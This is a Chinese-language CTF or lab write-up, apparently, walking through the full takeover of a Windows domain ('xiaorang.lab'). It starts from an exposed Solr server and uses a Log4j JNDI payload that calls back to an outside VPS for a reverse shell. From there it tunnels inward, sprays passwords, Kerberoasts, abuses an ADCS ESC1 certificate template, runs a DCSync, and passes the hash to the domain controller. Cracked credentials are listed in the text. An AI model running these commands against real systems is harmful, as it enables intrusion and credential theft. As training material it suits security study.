信息收集

拿到ip后还是先使用fscan进行扫描

1
fscan -h 39.98.127.239 -p 1-65535

image-20230929164056646

8983端口开了这个服务 是solr

image-20230929164158696

查看到版本号 于是Google查找

找了这篇文章 于是进行getshell操作

先测试是否存在这个漏洞

image-20230929164658642

image-20230929164707027

漏洞存在进行getshell操作

Getshell

这里的话使用这个工具

JNDIExploit-1.3-SNAPSHOT.jar https://github.com/WhiteHSBG/JNDIExploit/releases

image-20230929164938220

在自己的vps上启动

payload

1
${jndi:ldap://101.42.39.110:1389/Basic/ReverseShell/101.42.39.110/3389}

记得把端口给打开

然后监听3389端口

image-20230929165107113

成功 并且成功弹到了shell

这里查看了一下根目录和home目录 发现没有flag于是就猜测要提权了

提权

这里的话就常规三件套了

sudo suid 内核 挨个找就行了

image-20230929165527023

刚好发现一个以root命令执行的命令 并且不需要密码

image-20230929165737722

然后直接找flag

image-20230929165821122

然后直接读取就行了

image-20230929165924783

接下来就开始内网渗透了

内网渗透

先查看内网ip

image-20230929170013233

wget传一个fscan进行开扫 (记得传到tmp目录下 因为这个目录下的权限高)

image-20230929170712698

一共发现了这些信息

172.22.9.7 ——-> 域控主机 3389

172.22.9.19 —-> linux服务器

172.22.9.26 ——> 普通域用户 3389

172.22.9.47 ——> apache

于是先从这个使用了apache来搭建的fileserver的地址来入手

隧道代理

这里用的是chisel这个工具

(在代理的那篇文章里有讲到)

./chisel server -p 1234 —reverse //vps上运行

./chisel client 101.42.39.110:1234 R:0.0.0.0:7777:socks //getshell主机上运行

image-20230929171459695

成功挂上了代理

(这里的proxychains和proxifier自己百度解决就行)

攻击

然后扫描的时候发现了 这个47这台机器开启了445 然后又扫到了这个fileserver服务

直接无密码登录smb试试

1
proxychains4 smbclient -L 172.22.9.47

image-20230929172011893

发现可以无密码登录

于是就去查看他的文件共享文件夹

1
proxychains4 smbclient //172.22.9.47/fileshare

image-20230929172231585

然后使用get命令下载到本地就行了

image-20230929172316062

发现给了个SPN的提示 (先不管 遇到再说)

在查看文件共享的时候 还发现了个person.db这个文件夹 于是下载到本地进行查看

image-20230929172834723

发现了存在四个表

  • User表

image-20230929172909693

存在了三个用户的密码

  • Members表

image-20230929172953874

这个表是存在了域里用户的表 (不知道是不是全部)

然后我们尝试将用户名全部提取出来进行密码喷洒攻击 来找到可以利用用户的账号密码

  • 提取脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import re

# 打开原始数据文件
with open('1.txt', 'r') as file:
data = file.readlines()

# 提取指定字符串
users = []
for line in data:
match = re.search(r'(\w+)@xiaorang.lab', line)
if match:
username = match.group(1)
users.append(username)

# 保存提取后的字符串到 user.txt
with open('user.txt', 'w') as file:
for user in users:
file.write(user + '\n')

1.txt直接把members整个表复制进去就行

image-20230929173220039

运行之后就会得到所有的用户

然后使用这个kerbrute_windows_amd64.exe工具进行密码喷洒攻击

1
2
3
4
5
kerbrute_windows_amd64.exe passwordspray --dc 172.22.9.7 -d xiaorang.lab user.txt i9XDE02pLVf

kerbrute_windows_amd64.exe passwordspray --dc 172.22.9.7 -d xiaorang.lab user.txt 6N70jt2K9sV

kerbrute_windows_amd64.exe passwordspray --dc 172.22.9.7 -d xiaorang.lab user.txt fiAzGwEMgTY

2023/09/29 17:44:29 > [+] VALID LOGIN: liupeng@xiaorang.lab:fiAzGwEMgTY

2023/09/29 17:44:04 > [+] VALID LOGIN: zhangjian@xiaorang.lab:i9XDE02pLVf

一共就是爆破出这个两个账号 因为上面提示了SPN 于是我们可以枚举一下域里的SPN

(先是RDP失败了)

1
proxychains4 python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf

image-20230929175030774

不适用-request的话 是只返回域中的所有SPN 包括服务账户 服务主机

这里使用-request来请求返回域中所有SPN的hash值

1
在一般情况下,SPN 的哈希值是根据服务账户的名称生成的,因此可以认为 SPN 的哈希值包含了该服务账户的信息。哈希值是通过对服务账户名称进行哈希运算而得到的固定长度的字符串。

于是我们尝试爆破服务用户的服务票据

image-20230929175802046

(这里的爆破类型是13100)

1
hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --force

image-20230929180309246

爆破成功

zhangxia–MyPass2@@6

尝试rdp登录

(这里使用RDP的话注意一点 用户名要这样写zhangxia@XIAORANG.LAB 后面跟着域)

image-20230929180713709

成功登录 直接线上sharphood进去收集一下域的信息

1
SharpHound.exe --CollectionMethods All --Domain xiaorang.lab --ExcludeDCs

然后将压缩包复制出来 拖到这个bloodhound里进行分析

image-20230929180904838

RBCD条件反应 但是这里题目考察的是CS证书 所以这里没尝试

这里使用的工具是Certify.exe这个工具 于是尝试进行利用

1
Certify.exe find /vulnerable

image-20230929181907979

发现确实是存在这个证书模板可以利用

这里要成功利用要满足三个点
1、我们需要有权限去获取证书
2、能够登记为客户端身份验证或智能卡登录等
3、CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT开启

(证书可以用于身份验证 所以就是为什么可以利用的原因)

image-20230929182437803

img

域渗透中和证书服务器相关的利用有ESC1和ESC8 这个exe文件这里没有写 我们拿linux的certify工具进行尝试尝试

1
proxychains4 certipy-ad find -u 'liupeng@xiaorang.lab'  -password 'fiAzGwEMgTY' -dc-ip 172.22.9.7 -vulnerable -stdout

发现域渗透中和证书服务器相关的利用有ESC1ESC8

这里的话就只存在这个ESC1

开始申请 XR Manager 证书模版并伪造域管理员

image-20230929183202464

两个关键参数

1
.\Certify.exe request /ca:XIAORANG-DC.xiaorang.lab\xiaorang-XIAORANG-DC-CA /template:"XR Manager" /altname:XIAORANG.LAB\Administrator

image-20230929183345036

这里伪造的是域管理员账户

新建一个cert.pem 然后把内容复制进去

然后使用openssl转成pfx文件 就是证书

(这里转的话在cert.pem内容下面有指令)

tmd 这里折磨了我好几个小时 因为这个转化的是使用openssl—v1.1版本才行 wtmc

1
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

image-20230929184411146

然后将pfx文件复制rdp主机里

然后使用Rubeus.exe工具来请求票据

1
Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt

image-20230929184709538

请求域管理员的TGT成功 那么接下来就是想干啥干啥了

image-20230929184914327

然后使用mimikatz.exe来获取hash值

Dc’Sync攻击

1
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit

image-20230929185431206

1
2
3
proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

//ntlm的pth攻击

image-20230929185650939

接下来到域控这台主机了

1
proxychains4 python3 wmiexec.py -hashes 00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 Administrator@172.22.9.7

//hash值的话就是我们前面获取的那个 然后在前面补0就行了

image-20230929190925467

成功拿下这台域控